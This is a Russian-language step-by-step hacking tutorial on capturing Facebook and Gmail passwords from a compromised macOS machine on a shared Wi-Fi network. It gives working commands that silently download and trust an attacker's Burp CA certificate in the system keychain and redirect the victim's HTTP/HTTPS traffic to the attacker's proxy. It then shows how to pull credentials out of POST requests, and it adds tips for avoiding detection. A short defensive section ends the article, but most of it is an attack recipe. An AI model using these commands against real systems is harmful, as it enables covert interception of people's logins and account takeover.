Автор: tokyoneon
Поскольку для манипуляций HTTPS-трафиком в macOS и выдергивания учетных записей из зашифрованных данных требуется всего лишь несколько команд, попробуем выйти на новый уровень и попытаемся получить пароль от учетной записи в Facebook и Gmail, перехватывая пакеты в Safari и Chrome в режиме реального времени.
В Facebook и Gmail очень высокий уровень безопасности. При попытке реализовать брутефорс IP-адреса тут же вносятся в черный список, а аккаунты блокируются после нескольких неудачных попыток авторизации.
Более того, даже после успешной авторизации с нового IP-адреса или другого браузера инициируются новые проверки, как, например, предложение поискать соответствие между именами и фотографиями профайлов друзей детства или отсылка одноразового кода на смартфон.
По правде говоря, чтобы получить доступ к учетной записи, обычно намного проще скомпрометировать операционную систему жертвы, чем подбирать пароль.
В этой статье будет рассказано о методах получения пароля в Facebook и Gmail у пользователей macOS, которые находятся в вместе с вами в одной Wi-Fi сети. Вначале нужно получить доступ к операционной системе жертвы, что можно сделать различными способами. Если у вас есть физический доступ к MacBook, можно воспользоваться однопользовательским режимом или социальной инженерией, чтобы спровоцировать жертву на открытие зараженного файла на USB-устройстве.
Механика атаки
Суть идеи заключается в том, что мы будем принуждать браузер Safari или Chrome на отсылку HTTP- и HTTPS-трафика на подконтрольный нам прокси, работающий на базе Burp Suite. После получения трафика Burp сможет интерпретировать HTTPS-данные в режиме реального времени. Обычно подобную схему реализовать невозможно, но мы скрытно сконфигурируем ОС жертвы таким образом, чтобы было доверие к SSL сертификату, который будет использовать наш прокси.
В общем, мы будем конфигурировать целевой браузер для использования прокси на базе Burp схожим образом, но без ведома жертвы, как если бы мы делали настройку на своей машине.
Вначале настроим Burp в Kali Linux на перехват трафика. Затем, используя полученный заранее доступ к машине, загрузим и импортируем нужный сертификат в хранилище Keychain целевой системы таким образом, что ни Safari, ни Chrome не будут выводить никаких предупреждений о вредоносной активности. В конце мы сконфигурируем MacBook на отправку HTTP- и HTTPS-трафика на наш прокси.
Для реализации атаки понадобятся права суперпользователя, поскольку импортировать сертификаты в Keychain под обычным пользователем нельзя. Права суперпользователя можно получить различными способами, начиная от установки бэкдора, если есть физический доступ к целевой машине, и заканчивая атаками, связанными с расширением привилегий, например, при помощи фишинга или PowerShell Empire для выгрузки хешей или выгрузив кэш браузера и найдя пароли, которые могут использоваться повторно в разных местах.
Шаг 1: Установка Burp Suite (если необходимо)
В некоторых версиях Kali Linux пакет Burp Suite может быть не установлен. Для установки Burp выполните следующие команды:
apt-get update && apt-get install burpsuite
Шаг 2: Настройка Burp Suite
Откройте Burp и кликните на вкладку Proxy, затем на вкладку Options и далее на кнопку Edit в разделе Proxy Listeners. Введите нужный порт. Обычно я ввожу значение 9999, которое легко запомнить, хотя вы можете использовать любое другое число.
Затем укажите адрес прокси. Эта атака реализуется в локальной сети, поэтому следует вводить адрес 192.168.1.xx. В моем случае используется отдельный сегмент и мой адрес — 10.42.0.1. Если у вас есть какие-либо сомнения, выберите опцию «All interfaces».
Рисунок 1: Настройка Burp Suite
Шаг 3: Загрузка сертификата для Burp
Используя расширенный доступ, вначале загрузим сертификат для прокси при помощи команды curl:
curl -s —insecure —proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.der
В команде выше утилита curl, благодаря опции –s, незаметно загружает сертификат в целевую систему с нашей машины. В аргументе –proxy мы указываем параметры только что настроенного прокси, от которого будем получать сертификат. Поскольку по умолчанию этот сертификат является недостоверным, мы используем аргумент —insecure с целью игнорирования всех предупреждений. Опция –o указывает, что нужно сохранить сертификат в директории /tmp под именем burp.der. Расширение .der менять не нужно, поскольку этот формат используется всеми сертификатами в качестве стандартного.
Шаг 4: Импорт сертификата
После загрузки сертификата на целевую машину выполняем импорт при помощи следующей команды security:
security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.der
Команда выше добавляет (add-trusted-cert) и делает полностью достоверным сертификат (-d /tmp/burp.der) в главный системный Keychain (-k). Теперь нам остается настроить macOS для отправки трафика на прокси.
Шаг 5: Настройка прокси в MacBook
Теперь мы можем приступить к незаметной настройке целевой системы на отправку всего HTTP- и HTTPS-трафика.
Сетевые настройки будем менять при помощи утилиты networksetup, которая позволяет работать из командной строки. В целом, работа с networksetup во много схожа с тем, как если бы мы сидели перед экраном и настраивали MacBook.
Для начала используйте команду ниже вместе с аргументом –listallnetworkservices, который предназначен для отображения всех доступных служб.
/usr/sbin/networksetup -listallnetworkservices iPhone USBWi-FiBluetooth PANThunderbolt Bridge
Обратите внимание на службу «Wi-Fi». Именно настройки этой службы нам нужно модифицировать. Если в целевой системе используется внешний беспроводной адаптер, в списке выше также должно появиться это устройство. В этом случае нужно будет менять настройки прокси у адаптера.
Аргументы -getwebproxy (для протокола HTTP) и -getsecurewebproxy (для протокола HTTPS) могут использоваться для просмотра текущих настроек прокси в целевой системе.
/usr/sbin/networksetup -getwebproxy «Wi-Fi» Enabled: NoServer:Port: 0Authenticated Proxy Enabled: 0
/usr/sbin/networksetup -getsecurewebproxy «Wi-Fi» Enabled: NoServer:Port: 0Authenticated Proxy Enabled: 0
Оказалось, что оба типа прокси отключены, что является хорошим знаком, поскольку в этом случае, скорее всего, в целевой системе никогда не менялись соответствующие настройки, и не возникнет никаких подозрений, если некоторые приложения начнут вести себя немного странно.
Чтобы перенаправить весь HTTP- и HTTPS-трафик на наш прокси, используйте следующие команды:
/usr/sbin/networksetup -setwebproxy «Wi-fi» 10.42.0.1 9999/usr/sbin/networksetup -setsecurewebproxy «Wi-fi» 10.42.0.1 9999
Не забудьте поменять IP-адрес (10.42.0.1). Кроме того, если вы указали другой порт, также измените соответствующее значение. Новые настройки прокси вступают в силу сразу же.
Шаг 6: Перехват паролей от Facebook
Возвращаемся в Burp Suite и переходим во вкладку «HTTP history» для просмотра трафика целевой системы в режиме реального времени. Обратите особое внимание на POST-запросы, которые можно опознать по колонке Method, поскольку там находится наиболее интересная информация. Например, электронная почта и пароль для Facebook показаны на рисунке ниже:
Рисунок 2: Электронная почта и пароль одного из POST-запросов
По параметрам «email=» и «pass=» легко опознать электронную почту (target@email.com) и пароль жертвы.
Шаг 7: Перехват паролей от Gmail
В случае с Gmail придется повозиться подольше, особенно если жертва использует длинные пароли и специальные символы. Специальные символы автоматически кодируются браузерами, и пароль намного сложнее заметить среди груды закодированной белиберды.
Например, пароль «g$FR3eDW&ujYH6I{*5aa» будет закодирован как «g%24FR3eDW%26ujYH6I%7B*%5D5aa».
Рисунок 3: Содержимое POST-запроса, используемого в Gmail
Как видно из рисунка выше, мы пытаемся найти иголку в стоге сена. Трюк заключается в том, чтобы изолировать проблему. На момент написания статьи закодированный пароль для Gmail хранился в параметре «f.req=» (см. ниже):
Рисунок 4: Содержимое параметра f.req
Выделите весь параметр и скопируйте содержимое. Затем в Burp откройте вкладку «Decoder» и скопируйте закодированный текст в верхнее окно. Далее нажмите кнопку «Decode as» и выберите опцию «URL».
Рисунок 5: Расшифровка параметра f.req
В нижнем окне появится расшифрованный текст в более удобочитаемом формате. Скопируйте расшифрованный текст в любой удобный для вас текстовый редактор (Gedit, Geany и т. д.).
Рисунок 6: Расшифрованный текст в редакторе
На рисунке выше видно, что блоки данных разделены запятыми в формате массива. В случае с Gmail пароль расположен в кавычках между восьмой и девятой запятой (см. ниже).
Рисунок 7: Пароль для Gmail
Facebook и Gmail – лишь два примера. В случае с другими сайтами параметры, содержащие электронную почту и пароль могут отличаться. Особенно когда дело касается сайтов, входящих в топ 100, которые используют различные схемы аутентификации и самые современные разработки в области безопасности. Вы можете протестировать этот метод для других сервисов (если Facebook не входит в сферу ваших интересов) и изучить, как происходит обработка учетных записей, и где хранится пароль.
Шаг 8: Отключение прокси в целевой системе
После того как вы закончили перехват трафика, не забудьте убрать настройки прокси. В противном случае жертва будет продолжать отсылку трафика на ваш IP-адрес даже после того, как вы отключитесь от Wi-Fi сети. Подобная активность неминуемо вызовет подозрения, поскольку жертва не сможет выйти в сеть без вашего прокси-сервера.
Чтобы отключить настройки прокси в целевой системе, используйте следующие команды:
/usr/sbin/networksetup -setwebproxystate «Wi-fi» off/usr/sbin/networksetup -setsecurewebproxystate «Wi-fi» off
Нюансы и возможные улучшения схемы реализации атаки
Существует несколько возможностей для улучшения механики атаки.
Нюанс 1: Удаленный взлом при помощи Mitmproxy
В качестве альтернативы Burp для перехвата, исследования, модификации и перенаправления трафика можно использовать Mitmproxy. Несмотря на то, что Burp более функционален, Mitmproxy позволяет работать через командную строку и легко запускается на виртуальном сервере. VPS позволяет злоумышленнику перехватывать трафик, пересылаемый между разными Wi-Fi сетями.
Нюанс 2: Предупреждения в Firefox
После настройки Burp-прокси в macOS все запросы в Firefox также будет перенаправляться в систему злоумышленника. Хотя, в отличие от Safari и Chrome, импорт сертификата в Keychain никак не влияет на Firefox, поскольку этот браузер проверяет сертификаты независимо и не использует Keychain. Если в целевой системе, помимо Safari или Chrome, используется Firefox, будут появляться предупреждения о подозрительной активности, как показано на рисунке ниже.
Рисунок 8: Предупреждения в Firefox, связанные с недостоверным сертификатом
Нюанс 3: Конфигурирование прокси в других приложениях
Как и Firefox, другие приложения, как, например, Spotify, Skype, Opera, VLC и Thunderbird могут также проверять сертификаты альтернативными методами без использования Keychain. Как итог, эти приложения могут выводить оповещения о вредоносной активности или даже сразу же прекращать свою работу.
К сожалению, я не тестировал популярные сторонние приложения после настройки моего прокси. Читателям предлагается выполнить эти исследования самостоятельно.
Нюанс 4: Уникальный SSL-сертификат
В нашем примере был использован стандартный SSL-сертификат, автоматически сгенерированный в Burp Suite. Если вдруг пользователь захочет посмотреть перечень сертификатов в Safari или Chrome, то заметит сертификат «PortSwigger CA» (см. ниже). Компания PortSwigger, разработчик Burp Suite, указана явным образом как эмитент сертификата, что может вызвать подозрения. Создание и использование уникального сертификата с убедительным именем домена может предотвратить обнаружение нашей схемы.
Рисунок 9: Информация о сертификате, сгенерированном в Burp Suite
Как защититься от подобного рода атак
Задача не настолько простая, как может показаться на первый взгляд. Антивирус не проверяет наличие подозрительных сертификатов, и нам придется самостоятельно мониторить хранилище Keychain на предмет подозрительного содержимого.
Более того, если злоумышленник получил права суперпользователя и импортирует сертификаты, то у нас большие проблемы. Обнаружить злоумышленника в системе крайне сложно, хотя методы, указанные ниже, могут помочь.
Совет 1: Проверяйте Keychain
Если речь заходит о контроле сертификатов, никогда не полагайтесь полностью на антивирусы. Keychain можно найти и открыть, введя слово «keychain» в Spotlight. Не бойтесь заглянуть в это хранилище и проанализировать информацию у подозрительных сертификатов. В случае если обнаружены сертификаты, которые вы не загружали, не поднимайте тревогу сразу же, поскольку эти сертификаты могли быть добавлены во время установки легитимного приложения.
В случае с сертификатами, в которых вы не уверены, всю информацию можно найти в Google и/или в профильных сообществах, как, например, официальное сообщество Apple, Apple StackExchange и Information Security StackExchange.
Рисунок 10: Перечень сертификатов в системном хранилище
Совет 2: Проверяйте настройки прокси
Настройки прокси найти чуть сложнее. В Spotlight введите слово «proxy», затем кликните на кнопку «Advanced» и далее на вкладку «Proxies». Посмотрите настройки в разделах «Web Proxy (HTTP)» и «Secure Web Proxy (HTTPS)». Если вы не настраивали эти прокси, то лучше снять флажки и нажать «OK».
Рисунок 11: Настройки прокси-сервера
Совет 3: Проверяйте сертификаты браузера
Перед авторизацией на сайте периодически проверяйте используемый SSL-сертификат. В Safari и Chrome эту операцию можно выполнить, если кликнуть на замок в адресной строке и выбрать «Show Certificate» или «Certificate» соответственно. Появится новое окно с данными о сертификате. Кликните на «Details» и прокрутите до раздела SHA-256 и SHA-1 в самом конце сертификата.
Теперь на другом ноутбуке или смартфоне проверьте информацию о сертификате того же самого сайта. Как вы понимаете, данные должны совпадать. В случае несовпадения сразу возникает подозрение об использовании поддельного сертификата.
Рисунок 12: Информация о сертификате, который используется во время авторизации
Совет 4: Проверяйте веб-трафик
Wireshark – прекрасный инструмент для идентификации подозрительного трафика, исходящего от вашей машины. Если злоумышленник внедрил бэкдор, то, скорее всего, будет использовать Netcat или скрипт, написанный на Python, для создания TCP-соединений между вами и подконтрольными серверами в установленные моменты времени. На рисунке ниже видно, что злоумышленник (10.42.0.1) выполняет команды на MacBook’е жертвы (10.42.0.98) на порту 4444.
Рисунок 13: Команды, используемые в целевой системе
Заключение
Несмотря на то, что в этой статье рассматривались примеры, связанные с Facebook и Gmail, схожие методы можно применять для перехвата HTTPS-трафика и компрометирования учетных записей у других сайтов, которые использует жертва, как, например, Amazon, Twitter, Instagram, Yahoo, банковские сайты и так далее. Даже когда в целевой системе уже пройден процесс авторизации.
Надеюсь, после прочтения этой заметки некоторые читатели задумаются на предмет альтернативных методов пост-эксплуатации уязвимостей в системах. Некоторые специалисты рассматривают атаки с использованием протокола HTTPS как одни из наиболее изощренных. Если мы найдем другие методы перехвата зашифрованных сведений, жертвы тем более не смогут защититься от подобного рода атак. Не говоря уже о том, что SSL не защищает от многих сетевых угроз.
Вы всегда можете задать вопрос или оставить комментарий в твиттере @tokyoneon_.
Источник: